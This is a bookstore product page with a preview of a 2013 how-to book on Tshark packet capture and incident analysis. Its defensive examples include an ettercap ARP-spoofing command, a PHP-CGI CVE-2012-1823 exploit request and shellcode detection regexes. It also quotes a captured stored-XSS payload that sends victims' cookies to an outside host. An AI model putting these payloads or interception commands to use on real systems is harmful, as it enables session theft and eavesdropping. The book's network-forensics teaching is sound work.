Search icon
Subscription
0
Cart icon
Close icon
You have no products in your basket yet
Save more on your purchases!
Savings automatically calculated. No voucher code required
Arrow left icon
All Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Newsletters
Free Learning
Arrow right icon
$9.99 | ALL EBOOKS & VIDEOS
Over 7,000 tech titles at $9.99 each with AI-powered learning assistants on new releases
Instant Traffic Analysis with Tshark How-to
Instant Traffic Analysis with Tshark How-to

Instant Traffic Analysis with Tshark How-to: Master the terminal-based version of Wireshark for dealing with network security incidents

By Borja Merino
$16.99 $9.99
Book Apr 2013 68 pages 1st Edition
eBook
$16.99 $9.99
Print
$26.99
Subscription
$15.99 Monthly
eBook
$16.99 $9.99
Print
$26.99
Subscription
$15.99 Monthly

What do you get with eBook?

Product feature icon Instant access to your Digital eBook purchase
Product feature icon Download this book in EPUB and PDF formats
Product feature icon Access this title in our online reader with advanced features
Product feature icon DRM FREE - Read whenever, wherever and however you want
Buy Now
Table of content icon View table of contents Preview book icon Preview Book

Instant Traffic Analysis with Tshark How-to

Chapter 1. Instant Traffic Analysis with Tshark How-to

Welcome to Instant Traffic Analysis with Tshark How-to. This book contains instructions for getting the most out of the command-line version of Wireshark, namely Tshark; ideal for all lovers of communications and data traffic. The book consists of 10 recipes that show the most interesting options of Tshark through practical examples that deal with various network problems and thanks to which we could respond quickly to security incidents related to traffic data and protocol analysis. Tshark is part of the well known Wireshark suite, which is currently maintained by a long list of professionals with Gerald Combs leading it. Apart from this book, on sites such as http://ask.wireshark.org/ or the Wireshark mailing lists you can find excellent resources for looking up and helping other professionals on any matter relating to Wireshark or Tshark.

Capturing data with Tshark (Must know)


This recipe explains the basic use of Tshark and theoretical concepts of operation and dependence with other tools.

Getting ready

Like any other program written in C, Tshark is susceptible to vulnerabilities. Sending certain type of malformed traffic or opening a malicious pcap file could be enough to get a shell on a vulnerable computer. See, for example, CVE-2011-1591 for Wireshark versions before 1.4.4, which is susceptible to a buffer overflow in the DECT dissector. This vulnerability could be exploited to execute certain payload (for example, a reverse shell) on a computer running Wireshark by sending a single malicious packet.

It is, therefore, highly recommended to run Tshark with the least privileges required for data collection. Thus, if an exploit could run code on our host, it would be limited to the permissions of the user who launched the Tshark process. One possible solution to limit such permissions is to implement filesystem capabilities, available from kernel 2.2. These capabilities allow splitting the actions reserved for root in small privileges, which can be individually enabled or disabled for a certain process. In our case, only two of these capabilities, CAP_NET_RAW and CAP_NET_ADMIN, will be necessary to enable data capture. Let's see how to do this. At first we will create a group called tshark. Then, we will add a normal user to that group (bmerino), and finally we will add capabilities to Dumpcap so that that group could run Tshark with only the necessary permissions to capture from the network device. Take into account that this differs from setting the UID bit to Dumpcap since in that case it would be run as root:

root@Mordor:~# groupadd tshark
root@Mordor:~# usermod -a -G tshark bmerino
root@Mordor:~# chgrp tshark /usr/bin/dumpcap
root@Mordor:~# chmod 750 /usr/bin/dumpcap
root@Mordor:~# setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
root@Mordor:~# getcap /usr/bin/dumpcap
/usr/bin/dumpcap = cap_net_admin,cap_net_raw+eip

To verify that we have permission to really capture traffic, we will launch Tshark specifying the listener interface (wlan1 in our case):

root@Mordor:~# su bmerino
bmerino@Mordor:/$ tshark -i wlan1 -c 1 -q

This should generate the following output:

Capturing on wlan1
1 packet captured

The easiest way to capture traffic on your local network is to run Tshark without any parameters, in which case it will use the first interface (non-loop) it finds. Tshark, like Wireshark, relies on Dumpcap for data collection. Since Dumpcap only implements basic functionality for packet capture, it is much safer to grant root permissions to this tool instead of Tshark or Wireshark, which present a much more complex logic and therefore are more susceptible to vulnerabilities. Dumpcap, alongside a number of other utilities, is located within the wireshark-common package, which will be included in the default installation of Tshark.

Look at the following screenshot to see how Tshark creates a child process with Dumpcap for data capture:

How to do it...

The following steps describe how to capture data using Tshark:

  1. To list the network interfaces available on your computer, you can use –D, whereas with the -i parameter you can specify the listening interface in which we want to capture traffic. Tshark will display a default line summary for each packet received.

  2. This line corresponds to the same information as shown in the top panel of Wireshark. We can use the -c option to tell Tshark the number of packets we want to get:

    bmerino@Mordor:/$ tshark –D && tshark –i wlan1 –c 2
    1. eth0
    2. wlan0
    3. any (Pseudo-device that captures on all interfaces)
    4. lo  
    

    You will see the following output:

    Capturing on wlan1
    

How it works...

The figure that follows shows a generic operation of Tshark and its dependencies with other operating system components for data capture. When a packet arrives at the network card, the MAC destination address is checked to see if it matches yours, in which case an interrupt service routine will be generated and handled by the network driver.

Subsequently, the received data is copied to a memory block defined in the kernel and from there it will be processed by the corresponding protocol stack to be delivered to the appropriate application in user space. Parallel to this process, when Tshark is capturing traffic, the network driver sends a copy of the packets to a kernel subsystem called Packet Filter, which will filter and store in a buffer the desired packets. These packets will be received by Dumpcap (in user space) whose main goal will be to write them into a libpcap file format to be subsequently read by Tshark. As new packets arrive, Dumpcap will add them to the same capture file and it will notify Tshark about their arrival so that they can be processed.

It is important to understand that when the kernel receives packets it has to copy them from kernel space to user space. Such a context switch involves CPU time, so capturing all the data flow passing through our network card would be a loss of performance for the entire system. Here is where capture filters come into play since they will allow us to discard, from the kernel space, those packets we are not interested in and allow the rest, with the gain in performance that this entails. In this way, we would generate fewer context switches and would eliminate unnecessary processing from the user space.

From Tshark we can define capture filters in a user-friendly way that will be compiled into a language understood by the filtering architecture implemented in the kernel and applied to each packet received by our network card; all in runtime and transparently to the user. All this work is done by libpcap, which provides support for BPF or "BSD Packet Filter", the filter capture system that underlies much of the current operating systems. The syntax for these filters is the same as that used by tcpdump or any other program that uses libpcap. To define this kind of filter you should use the –f parameter. For example, if we are interested in only capturing DNS traffic, we can define a capture filter to get only UDP packets whose port is 53.

bmerino@Mordor:/$ tshark -f "udp port 53" -i eth0

This should generate the following output:

Capturing on eth0
0.000000 192.168.1.129 -> 87.216.1.65  DNS 82 Standard query 0x7cf4  A 
www.securityartwork.es

It is important, however, not to confuse these filters with the display or read filters, which represent the cornerstone of Tshark. These filters follow the nomenclature of the application itself and are used to filter packets that have been captured previously. Display filters let you make the most of the potential offered by the dissectors, which are in charge of decoding and interpreting each of the fields of each protocol. Take a look at this nice cheat sheet from PacketLife to see a summary of the most common display filters at http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf.

This is what really makes a difference from any other type of protocol analysis tool since these filters allow us to select packets in a more accurate and comfortable way than that provided by the capture filters. To define this type of filter we will use the –R option. For example if we want to see only CDP packets from the router with a device ID of R1, we would use the following filter:

bmerino@Mordor:~$ tshark -R "cdp.deviceid == R1" -i eth0

This would generate the following output:

Capturing on eth0
 1   0.000000 00:e0:1e:aa:bb:cc -> 01:00:0c:aa:bb:dd CDP 300 Device ID: R1  Port ID: Ethernet0

It is likely that capture filters do not provide us the accuracy needed to capture the packets we are interested in, so sometimes the joint use of both filters (capture and display) will provide us with the perfect combination for our needs. In the following example we will capture the community strings of SNMP requests using both filters. We will use a capture filter to just capture traffic destined to port 162, and a display filter to select precisely the community string of those packets. The -x option will tell Tshark to dump the content of the packets matched in an ASCII and hexadecimal way. The following screenshot is similar to that shown in the lower window of Wireshark.

Since there are hundreds of protocols available on Tshark, it would be impossible for us to remember each of their fields. So, if you need to create a display filter and you don't remember the fields of certain protocols, you can use the –G parameter. This option will dump the contents of the registration database of Tshark to stdout. From this information we can extract each of the fields of the protocol we need. So, for instance, if we want to know the fields available for the EIGRP routing protocol, we could type:

bmerino@Mordor:~$ tshark -G | cut -f3 | grep "^eigrp\."

This would generate the following output:

eigrp.opcode
eigrp.as
eigrp.tlv

Capturing traffic (Must know)


This recipe will show some of the options available to capture traffic. As we will see, each of the alternatives will depend on the objectives of the analyst and the available network infrastructure.

How to do it...

The methods that follow are described as some of the best alternatives used to capture traffic.

Bridge mode

  1. A good and quick option for this is to install bridge-utils (the bridge utilities package for Linux).

  2. Running aptitude install bridge-utils in our Ubuntu machine will be enough to install this package. To configure both interfaces (in the example eth0 and eth1) we will execute the following command:

    bmerino@Mordor:/$ sudo brctl addbr Tshark_Bridge
    bmerino@Mordor:/$ sudo brctl addif Tshark_Bridge eth0
    bmerino@Mordor:/$ sudo brctl addif Tshark_Bridge eth1
    bmerino@Mordor:/$ sudo ifconfig Tshark_Bridge up
    bmerino@Mordor:/$ tshark -i Tshark_Bridge
    

    This would generate the following output:

    Capturing on Tshark_Bridge
    
  3. As can be seen, all that is necessary is to create a bridge-type interface (Tshark_Bridge in the example) and add the physical interfaces that form part of the bridge. Then we tell Tshark to use that interface to capture traffic.

Packet capturing

  1. To specify the data traffic in which we are interested, we have to create an access control list (ACL) and assign it to the external interface of the firewall (outside the interface) through the capture command.

    asa(config)# access-list CAPTURE10 extended permit tcp any host 192.168.1.100 eq http
    asa(config)# access-list CAPTURE10 extended permit tcp host 192.168.1.100 eq http any
    asa(config)# exit
    asa# capture tshark access-list CAPTURE10 interface outside
    asa# copy capture:tshark tftp://192.168.1.130/example pcap
    
  2. Finally, we can download and examine the file from Tshark with the –r option.

    bmerino@Mordor:/$ tshark -r /tmp/example -R "http.request.method == GET"
    

    This would generate the following output:

    2 2.009083000 192.168.1.129 -> 192.168.1.100 HTTP 114 GET /admin/upload/c99.php HTTP/1.1
    

Port mirroring

To do this, we only need to specify the VLAN/VLANs or interfaces in which we are interested and select a monitor port to which we will connect our Tshark machine. In the example, all ports belonging to VLAN 20 will be monitored:

Switch(config)# monitor session 1 source vlan 20
Switch(config)# monitor session 1 destination interface gigabitethernet0/1
Switch(config)# end

Remote capture with rpcapd

  1. We need to run the rpcapd service on the server host and specify the port to which we want to connect. We select the port with the -p option. With -n (null authentication) the service will not require authentication.

    C:\Archivos de programa\Wireshark>tshark.exe  –D
    1.\Device\NPF_{8AB20E76-FBFB-4C7D-B623-CF37D227ED5D} (Realtek 10/100/1000 Ethernet NIC
    C:\Archivos de programa\Wireshark>rpcapd.exe –n –p 2002
    
  2. Press Ctrl + C to stop the server.

  3. From the client computer (Tshark machine), we need to run Tshark specifying as listener interface the word rpcap followed by the IP/port and the server interface name in which we are interested.

    Note

    Note that the name of the interface on Windows systems will consist of a long string, so you will probably need to write its name down before launching Tshark (that's why we run tshark -D on the server, just to know its name).

    C:\Program Files\Wireshark>tshark –n –i rpcap://192.168.1.128:2002/\ Device\NPF_{8AB20E76-FBFB-4C7D-B623-CF37D227ED5D}
    Capturing on rpcap://192.168.1.128:2002/\ Device\NPF_{8AB20E76-FBFB-4C7D-B623-CF37D227ED5D}
    0.000000 00:13:e8:f6:26:ef -> 90:e6:ba:bd:9f:48 ARP 60 Who has 192.168.1.128? Tell 192.168.1.129
    

ARP spoofing

  1. To intercept, for example, traffic between a certain host (192.168.1.49) and its gateway (192.168.1.1) in our VLAN (if no countermeasures are implemented in the switch such as Dynamic ARP Inspector, Port Security, and so on), it would be enough with:

    root@Mordor:~# ettercap -T -M arp:remote /
    192.168.1.1/
     /
    192.168.1.49/
     -i wlan1
    ettercap NG-0.7.4.2 copyright 2001-2005 ALoR & NaGA
    Listening on wlan1... (Ethernet)
     wlan1 -> 00:13:E8:F6:26:EF      192.168.1.50     255.255.255.0
    
  2. If the attack is successful, we would get an ARP cache poisoning of both hosts associating their MAC IP with ours. Thus all traffic would go through our host, from which you could run Tshark on the wlan1 interface.

How it works...

Let's look at each of the options previously seen.

Bridge mode: By configuring our Linux host in bridge mode we would manage to do a physical MitM (man-in-the-middle), from which we could capture traffic and from where you will have access to all traffic throughput. Obviously, to perform this configuration we will need two network cards and some kind of software that allows us to manage the traffic passing through those interfaces. The main disadvantages of this capture method are the interruption of communications during the installation and having a single failure point in case of physical failure; something which under certain circumstances is unacceptable.

Hub mode: When you connect your Tshark machine to one of the switch ports, you are just seeing the frames passing between the switch and your host. The switch divides the network into segments, creating separate collision domains and eliminating the necessity for each station to compete for the medium. In this case the switch will send frames to all ports (belonging to the same VLAN) in the case of broadcast packets (for example, to know the physical address of a certain host). If our intention is to capture the traffic of multiple computers connected to the same switch, we can make use of a hub. This way we don't need extra configuration. Since we are in the same collision domain as the hosts we want to monitor, we just need to execute Tshark specifying the interface connected to the hub. Note however that this option would slow down the network performance, thus creating a single collision domain. Also, consider the security implications that this configuration would entail since someone (as we are) could be listening for frames destined for other machines.

Packet capture: Some Cisco appliances can capture the traffic passing through their interfaces (the packet capture feature) and save it in a pcap file. In the next figure the external interface of a Cisco ASA firewall is configured to capture inbound and outbound traffic directed to the web server.

Port mirroring: configuring a port mirroring (SPAN mode in Cisco devices) is also a good alternative to capture traffic. This mode enables you to duplicate the traffic between one or more switch ports and mirror it to the port that you want. It is important to note that the port configured for mirroring has to be as fast as the port(s) to be monitored, to avoid packet loss.

Remote capture with rpcapd: If our networking devices lack NetFlow support (http://en.wikipedia.org/wiki/NetFlow) to capture traffic remotely, we can use rpcapd.

This tool is included in the default installation of WinPcap (the libpcap libraries for Windows) and allows us to set up a listening port to which we could connect remotely to get the traffic of that host.

Other methods: On certain occasions, if you cannot use the previous methods, you can use tools such as Ettercap, Dsniff, or similar to make a MitM (man-in-the-middle) attack. It is important to understand that this is a rather aggressive method and that it is only useful in non-critical environments where there is a need to intercept traffic between various hosts.

Delimiting network problems (Should know)


This recipe will explain some useful commands that will help us find the root of many problems related to the performance of our network. A fairly typical case is one in which we experience some problems with the bandwidth of our network. If we lack advanced network devices that allow us to configure QoS or Deep Packet Inspection, we can use Tshark to try to find out which hosts are generating more traffic and what type of data they are sending.

How to do it...

  1. The first approach to determine which IPs in our VLAN (192.168.15.0/24) could be misusing the network would be to get the list of IP conversations. This list is sorted according to the total number of frames, so it could give us an idea of the heavy talkers (some of the columns have been omitted):

    bmerino@Mordor:/$ tshark -r traffic.pcap -q -z "conv,ip,ip.addr==192.168.15.0/24" 
    

    This command would generate the following output:

    ======================================================
    IPv4 Conversations
    Filter:ip.addr==192.168.15.0/24
                             |     <-       ||      ->       ||     Total    |   
                             |Frames Bytes  || Frames  Bytes || Frames  Bytes|     
    192.168.15.4<->192.168.30.5 35341  53204825 23968  1647450  59309 54852275 
    192.168.15.4<->192.168.30.6 5492   8014603  2973    197034   8465  8211637 
    192.168.15.8<->192.168.17.3 1041   219223   1234    158748   2277   352634 
    
  2. With this information, we know that the IP 192.168.15.4 represents one of the hosts that is generating more traffic to communicate with other machines on the network 192.168.30.0/24. To work faster with Tshark we will create a second pcap file with just the traffic generated by that machine (192.168.15.4):

    bmerino@Mordor:/$ tshark -R "ip.addr == 192.168.15.4" -r traffic.pcap -w ip.pcap
    bmerino@Mordor:/$ capinfos ip.pcap | grep "Number\|time:"
    

    This command would generate the following output:

    Number of packets:   97218
    Start time:          Mon Jan  7 14:26:57 2013
    End time:            Mon Jan  7 14:38:57 2013
    
  3. First, we will check that the host is not breaking the use policies of our network, which establish that only HTTP and HTTPS traffic is allowed as output in that VLAN. The following command will tell us the outbound connections to ports other than those allowed (HTTP and HTTPS).

    bmerino@Mordor:/$ tshark -o column.format:'" Source ","%s","Destination","%d", "dstport", "%uD","Protocol", "%p"' -r ip.pcap -R "ip.src == 192.168.15.4 && ! dns && tcp.dstport != 80 && tcp.dstport != 443"  | sort -u
    

    This command would generate the following output:

    192.168.15.4 -> 192.168.30.5  8000 TCP
    192.168.15.4 -> 192.168.17.10 3283 TCP
    192.168.15.4 -> 192.168.30.5  21 FTP
    
  4. According to the previous output, we can confirm that the IP 192.168.15.4 is violating the usage policy by connecting to different services, among which is FTP. To be sure that that traffic is not another service using the FTP port, we launch a follow tcp stream of that session:

    bmerino@Mordor:/$ tshark -o column.format:'"Source","%s","srcport", "%uS","Destination","%d", "dstport", "%uD","Protocol", "%p"' -r ip.pcap -R "tcp.dstport == 21" | head -1
    192.168.15.4 58905 192.168.30.5 21 FTP
    bmerino@Mordor:/$ tshark -z "follow,tcp,ascii,192.168.15.4:58905,192.168.30.5:21,1" -q -r ip.pcap   
    

    This command would generate the following output:

    ===================================================================
    Follow: tcp,hex
    Filter: ((ip.src eq 192.168.15.4 and tcp.srcport eq 58905) and (ip.dst eq 192.168.30.5 and tcp.dstport eq 21)) or ((ip.src eq 192.168.30.5 and tcp.srcport eq 21) and (ip.dst eq 192.168.15.4 and tcp.dstport eq 58905))
    Node 0: 192.168.30.5:21
    Node 1: 192.168.15.4:58905
    00000000 32 32 30 2d 46 69 6c 65 5a 69 6c 6c 61 20 53 65 220-File Zilla Se
    00000010 72 76 65 72 20 76 65 72 73 69 6f 6e 20 30 2e 39 rver ver sion 0.9
    00000020 2e 34 31 20 62 65 74 61 0d 0a                         .41 beta ..
    ===================================================================
    
  5. The FileZilla server banner and the commands used to request files confirm that the user is using FTP. After observing the FTP transfers, we could verify that that service was the direct cause of the slowdown in the network. We can even filter the files downloaded by the client:

    bmerino@Mordor:/$ tshark -z "follow,tcp,ascii,192.168.15.4:58905,192.168.30.5:21" -r ip.pcap   | grep RETR
     28  50.409666  192.168.15.4 -> 192.168.30.5 FTP 85 Request: RETR Dati2.avi
     33 162.018952  192.168.15.4 -> 192.168.30.5 FTP 83 Request: RETR windbg.exe
    
  6. Tshark also allows us to break down each of the protocols captured. Thus we can see hierarchically the number of frames and bytes associated with each protocol. Using another capture file, let's see for example the distribution of HTTP and HTTPS traffic used by the IP 192.168.15.7:

    bmerino@Mordor:/$ tshark -r traffic2.pcap -q -z io,phs,"ip.addr== 192.168.15.7 && ssl || http" | head -13
    

    This command would generate the following output:

    ===========================================================
    Protocol Hierarchy Statistics
    Filter: ip.addr== 192.168.15.7 && ssl || http
    eth                      frames:43129 bytes:59176403
      ip                     frames:43129 bytes:59176403
        tcp                  frames:43129 bytes:59176403
          ssl                frames:41090 bytes:57226894
            tcp.segments     frames:1212 bytes:1376146
          http               frames:2039 bytes:1949509  
    
  7. The output tells us that SSL represents practically all traffic, even over HTTP. Let's see the IP's associated with that communication:

    bmerino@Mordor:/$ tshark -o column.format:'"destination","%d"' -r  traffic.pcap -R "ip.src == 192.168.15.7 && ssl" | sort -u
    199.47.216.172
    199.47.218.159
    173.194.34.12
    bmerino@Mordor:/$ whois 199.47.216.171 | grep -i "netname\|netrange"
    NetRange:       199.47.216.0 - 199.47.219.255
    NetName:        DROPBOX
    
  8. It seems that this IP is using Dropbox to transfer files, hence the amount of SSL generated. With this information we can now create ACLs or IPtables rules to deny certain types of traffic, do a shutdown of a specific port, limit the bandwidth of some protocols, and so on.

How it works...

Tshark gives us the option to collect statistics on multiple types of network traffic with the –z parameter. In the examples seen previously we used this option to obtain the IP peer-to-peer conversations between various computers in our network. To set other kind of conversations we run –z as follows: -z conv,type[,filter] where type represents the kind of peer-to-peer conversation (TCP, UDP, IP, FDDI, and so on) we want to get the stats from. Optionally you can specify a filter so that only the packets that match the filter will be used in the calculations. For example, to display the TCP conversation of the IRC protocol we would run:

We use the -q parameter when reading captured files to display just the stats and not any per-packet information. The other stats seen in this recipe is follow, which shows the content of the TCP or UDP stream between two nodes. This option is similar to "Follow TCP/UDP Stream" in Wireshark. Its syntax is -z follow,prot,mode,filter[,range], where prot can be TCP or UDP. mode specifies the output type (ASCII/hex) and the optional range specifies which "chunks" of the stream should be displayed.

In addition to statistics seen, there is the ability to show the total number of bytes and frames in time intervals. To do this we use -z io,stat,interval[,filter] [,filter]… where interval is the interval in seconds. For example, it was observed that the IP 192.168.15.4 had established a connection to the machine 192.168.30.5 on port 8000. We can get the connection statistics in intervals of 100 seconds (some of the rows have been omitted):

bmerino@Mordor:/$ tshark -r 8000.pcap –q –z io,stat,100,tcp.port==8000

This command would generate the following output:

| Interval   | Frames | Bytes | Frames |  Bytes |
|-----------------------------------------------|  
|  0 <> 100  |     44 |  7644 |     44 |   7644 |
|100 <> 200  |     30 |  2180 |     30 |   2180 | 
|200 <> 300  |      0 |     0 |      0 |      0 |  

Finally, in this recipe we use the -o option, which allow us to change some settings of Tshark. Wireshark and Tshark rely on a configuration file to load default preferences. We can modify these values by using the -o option followed by prefname:value. To dump a list of default preferences, use -G followed by defaultprefs. For example, by default, Wireshark and Tshark convert all sequence numbers into relative numbers to facilitate comprehension and tracking of the packets involved in a TCP session. This means that the sequence number corresponding to the first packet in a TCP connection begins with 0 and not with a random value generated by the TCP/IP stack of the operating system. If we need to view the absolute value, that is, the real value of the SEQ and ACK fields, we can disable the "Relative Sequence Numbers" option with tcp.relative_sequence_numbers:FALSE:

bmerino@Mordor:/$ tshark -G defaultprefs | grep "relative_seq"
relative_seq#tcp.relative_sequence_numbers: TRUE
bmerino@Mordor:/$ tshark -r tcpsecuence.pcap -T fields -e tcp.seq -R tcp | head -3
0
16
bmerino@Mordor:/$ tshark –r tcpsecuence.pcap -T fields -e tcp.seq -R tcp -o tcp.relative_sequence_numbers:FALSE | head -3
2516813179
2516813195

Do not worry about the -T and -e options; we will seen them in detail in the next recipe. We also used –o several times with the column.format directive to specify the columns displayed in the output. The value associated with this directive consists of pairs of strings indicating the title of the column and its format. For example, with -o column.format:"Protocol","%p", we would only show the protocol of each packet. If you need to know the % variables take a look at Wireshark sources, in particular the C file wireshark/epan/column.c:

root@Mordor:~/wireshark# cat epan/column.c | grep –m 1 COL_PROTOCOL
    "%p",    /* 48) COL_PROTOCOL */

Tshark allows us to load our own "Configuration Profiles". This will be really useful when we use different configurations, depending on the type of analysis that we perform. For example, there will be times you want to disable the dissectors, or you may want to show the output in a different view or format. By using your own configuration profile you won't need to write a long list of –o parameters; just specify the file with the –C option and Tshark will load that setting:

bmerino@Mordor:~/.wireshark/profiles$ tshark -C "A1_audit" -i eth0

This command would generate the following output:

Capturing on eth0
64:68:0c:ea:41:ad -> 01:80:c2:00:00:00 60 
192.168.1.42 -> 173.194.34.54 1484

Implementing useful filters (Should know)


This recipe will show new parameters and filters of Tshark through practical examples that will help us to resolve many security incidents efficiently. We'll see how to locate malicious domains in our network, how to create a passive DNS service, and how we can do specialized searches with certain display filters.

How to do it...

The method that follows shows how to implement useful filters using just Tshark.

Malicious domains

  1. Knowing the pages to which users connect may be useful not only to meet web browsing patterns but also to locate infected computers. Here's an example:

    bmerino@Mordor:$ tshark -R http.request -T fields -e http.host -r malware.pcap  | sort -u > domains
    
  2. This command will dump all domains visited via HTTP to a text file. Now we can download an updated blacklist of malicious sites and see if any of the domains requested are listed in it:

    bmerino@Mordor:$ wget -q http://dns-bh.sagadc.org/justdomains -O mlwDomains
    bmerino@Mordor:$ grep -f domains mlwDomains
    apendiksator.ru
    
  3. The output tells us that at least one visited domain contains a malicious code. A search for that domain in http://www.malwaredomainlist.com confirms it contains the Blackhole exploit kit 2.0, which is why it has been blacklisted; so it is likely that the hosts that have visited this page may have been exploited. Let's see what hosts visited that domain:

    bmerino@Mordor:$ tshark -o column.format:'"Source","%s"' -r malware.pcap -R "http.host == apendiksator.ru " | sort -u
    192.168.1.42
    
  4. It seems that only that IP visited the malicious domain. If we consult the User-Agent of the browser used to access it, we can get useful information which may be of help in determining whether an exploit could be successful or not, especially if we detect a malicious domain that attempts to exploit some vulnerability in the browser.

    bmerino@Mordor:$ tshark -R http.request -T fields -e http.user_agent -r malware.pcap  -R "http.host == apendiksator.ru" | sort -u
    Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
    
  5. A detailed analysis of subsequent connections from that host after visiting the domain would help us to clarify the facts, but this is beyond the scope of this guide.

Passive DNS

If we have access to a DNS server with a large volume of traffic, it could be useful to us at any given time to implement a passive DNS service. The idea is to record the authoritative DNS responses sent to clients to know the IP domain association of each of the DNS queries. Having a history with this information will help to identify fast-flux botnets that constantly update DNS with very low TTL values, know what domain names are on a given IP, where a domain name pointed to in the past, and so on. With Tshark we can easily do this by running the following command:

bmerino@Mordor:$ tshark -i eth0 -f "src port 53"  -R "dns.flags.authoritative == 1" -n -T fields -e dns.qry.name -e dns.resp.addr -E occurrence=f

This command would generate the following output:

Capturing on eth0
securityartwork.es  90.161.233.229
google.com  212.106.221.23
dropbox.com  199.47.216.179

Matches operator

Let's see now an example with the operator matches:

  1. Since many exploits are made up of long chains of characters necessary to align the shellcode in memory, we can define a filter to look for packets that contain long strings such as 0×4141414141, 0×9090909090 (NOPs), or similar. To do this we can run:

    bmerino@Mordor:/$ tshark -r ftpOverflow.pcap -R 'tcp matches "([\x41-\x5A,\x30-\x39,\x90])\\1{200,}"' –q
    
  2. To demonstrate, however, the power that this operator can have, we will use a more complex filter. In this case we use a filter to find exploits against our web server that attempt to take advantage of a RET address or a Structured Exception Handling (SEH). According to the output, we can see how an attacker tried to exploit the web server taking advantage of the HEAD parameter. The long string of A followed by the backward short jmp (\x90\x90\xeb) matched the filter. Now that we have already identified the payload, we could dump it to a binary file and use scdbg or our preferred debugger to analyze the shellcode:

    bmerino@Mordor:/tmp$ tshark -r webExploit.pcap -R 'tcp matches "([\x41-\x5A,\x30-\x39,\x90])\\1{100,}.*((W00TW00T|w00tw00t|\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e)|(\xeb\.\x90\x90|\x90\x90\xeb.|([\x61]){5}))?"' -x 
    3 0.002129000 192.168.1.129 -> 192.168.1.130 HTTP 1246 HEAD /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
  3. Let's take another example. Just last year, a vulnerability in web servers running PHP as CGI (CVE-2012-1823) allowed attackers to execute remote code. Until the release of a patch to fix the problem, this vulnerability was used to compromise many web servers around the world. In cases like this, Tshark can be of great help to monitor any attempt to attack a server. Since many of the attacks used the auto_prepend_file and allow_url_include functions along with the -d parameter in GET/POST requests, we can create a filter such as this to match any attempt at exploitation:

    bmerino@Mordor:/$ tshark -r web.pcap -R 'http.request.uri matches "-d.*allow"'
     11 56.630402000 192.168.1.150 -> 192.168.1.50 HTTP 534 POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    

How it works...

The operators contains and matches will allow us to search for literal strings in received packets. The matches operator, however, provides the additional advantage of supporting Perl Compatible Regular Expression (PCRE) so it will be of great interest when looking for a variety of attacks such as DDoS, fuzzing, opcodes that match a certain exploit, and so on. In the previous example, many exploits typically have a structure similar to the following:

payload= string + buffer + egg + shellcode + eip + nops + egghunter
payload= junk + egg + shellcode + eip + nops + egghunter
payload= junk + eip + nops + shellcode
payload= junk + egg + shellcode + junk1 + nseh + seh + nops + egghunter
payload= nops + shellcode + nops + eip + nops + farjump + nops
payload = junk + nseh + seh + nops + shellcode + junk1

We, therefore, used a complex filter to try to match any of these cases. You can see this example in more detail in http://www.securityartwork.es/2011/12/16/buscando-buffer-overflow-desde-wireshark/. Tshark obviously is not the right tool to locate and analyze shellcodes. The example is only intended to demonstrate the filtering power that the matches operator has. To this end, IDS, such as Snort, are more suitable to detect such attacks. However, keeping some of these filters in mind can save us a lot of time in certain circumstances.

In this recipe we have seen new Tshark parameters. One of the most used has been -T through which we could mold the output generated by Tshark. This function follows the syntax -T pd ml|psml|ps|text|fields, where each of the options represents the output format. Probably the most used by us is fields, as it allows us to specify which fields we want to show on screen. This parameter will provide us with huge advantages if we want to use the Tshark output to feed other programs or to make our own scripts; something you could not do with Wireshark.

The fields we want to display are indicated by the parameter –e, and we can optionally specify some aspects of its format by using -E. For example, to display on screen just the IP source address and the destination TCP port in a comma separated way (CSV format), we would use the following command:

bmerino@Mordor:/$ tshark -r capture.pcap -T fields -e ip.src -e tcp.dstport -E separator=, | head -1
192.168.1.136,443

You can view in more detail the –T and –E options in the online help of Thsark (http://www.wireshark.org/docs/man-pages/tshark.html).

Finally, as we will see in the next section, the -V option will allow us to visualize in great detail the packets received, showing each of the fields of each of the protocols. With -O, however, we can specify a detailed view only of the comma-separated list of protocols. For example, to show in detail just the OSPF protocol, we would execute Tshark as tshark -i eth0 -O ospf.

There's more...

Let's see an example with the contains operator. We will look for potential XSS attacks in POST requests to our web server:

bmerino@Mordor:/$ tshark -T fields -e frame.time -e ip.src -e ip.dst -e http.request.uri -r XSS.pcap -R 'http.request.method == POST and tcp contains "<script>"'

This would generate the following output:

Jan  9, 2013 13:55:10.710239000 192.168.1.130  192.168.1.129  /doRegister.php

It seems that the host 192.168.1.130 modified one of the POST parameters to inject JavaScript code on our web server (192.168.1.129). Let's see the code:

bmerino@Mordor:/$ tshark -V -r XSS.pcap -R 'http.request.method == POST and tcp contains "<script>"' | grep "<script>"

This would generate the following output:

name="><script>document.location.replace('http://192.168.1.160/cookie.php?c='+document.cookie);</script>&city=spain&mysubmit=0

According to the previous output, the attacker tried to inject the code to produce a persistent XSS taking advantage of the vulnerable field name. This way, when a user visits any page that includes the name registered, the cookie of that user will be sent to the host 192.168.1.160. We could see that the attack was successful after filtering HTTP traffic destined to that host (192.168.1.160):

bmerino@Mordor:/$ tshark -r XSS.pcap -R "tcp.dstport == 80 && ip.dst == 192.168.1.160" | grep cookie

This would generate the following output:

2138 455.082771000 192.168.1.129 -> 192.168.1.160 HTTP 453 GET /cookie.php?c=PHPSESSID=a3iiu2242kllmmae2099sa29322fda HTTP/1.1

As indicated in the output, it appears that the attacker got the cookie from at least one victim. We, therefore, conclude that the stored XSS injection was successful.

Decoding protocols (Become an expert)


In this recipe we will see how to force Tshark to use the correct dissector when a certain protocol runs in an uncommon port. We also see how to decode SSL traffic through a real example.

How to do it...

  1. In the following example, a user has established a SSH connection on port 1865 (instead of 22). If we dump one of these packets, we see that Tshark tries to interpret that protocol as LeCroy VICP instead of SSH:

    bmerino@Mordor:/$ tshark -r ssh.pcap -R "frame.number==9" -V | grep "LeCroy VICP" -A 5
    LeCroy VICP
        Operation: 0x35
        Protocol version: 54
        Sequence number: 44
        Unused: 0x61
